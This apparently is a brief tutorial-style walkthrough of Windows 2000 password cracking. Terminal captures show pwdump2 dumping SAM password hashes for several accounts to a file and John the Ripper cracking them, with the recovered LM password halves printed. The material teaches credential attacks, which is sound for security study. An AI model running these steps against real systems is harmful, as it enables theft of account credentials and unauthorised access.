


```
C:\ Command Prompt (2)
Microsoft Windows [Version 5.00.2195]
(C) Copyright 1985-2000 Microsoft Corp.

C:\>cd pwdump2

C:\pwdump2>pwdump2
administrator:1003:486c1223359b295aad3b435b51404ee:7adcca11ec9bc932d28298f651
00d2:::
cipher:1002:fefcd700e2a0c204aad3b435b51404ee:f923482e5bf859b28cd74af4cb5d14ce:
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
neo:1001:539caa34a989bf9faad3b435b51404ee:4d57c7c9efe3c0c2a4de188decf47eb1:::
ronin:500:879980de48006e7eaad3b435b51404ee:ba69764bccf8f41121e0b3046ce46c67:::


C:\pwdump2>_
```



We run pwdump2 and view the encrypted SAM.

```
Command Prompt (2)
Microsoft Windows 2000 [Version 5.00.2195]
(C) Copyright 1985-2000 Microsoft Corp.

C:\>cd pwdump2
C:\pwdump2>pwdump2 > crackme
C:\pwdump2>_
```




We output the SAM to the pwdump2 directory.

```
C:\> Command Prompt (2)
Microsoft Windows 2000 [Version 5.00.2195]
(C) Copyright 1985-2000 Microsoft Corp.

C:\>cd ripper

C:\ripper>john crackme
Loaded 10 passwords with no different salts (NT LM DES [24/32 4K])
DOG          (cipher:1)
             (administrator:2)
             (cipher:2)
             (Guest:1)
             (Guest:2)
             (neo:2)
             (ronin:2)
MTU          (administrator:1)
LAMB         (ronin:1)
KMART        (neo:1)
guesses: 10  time: 0:00:00:18 (3)  c/s: 246202  trying: KLYA - K1233

C:\ripper>_
```



We run John against the SAM file and get what we came for.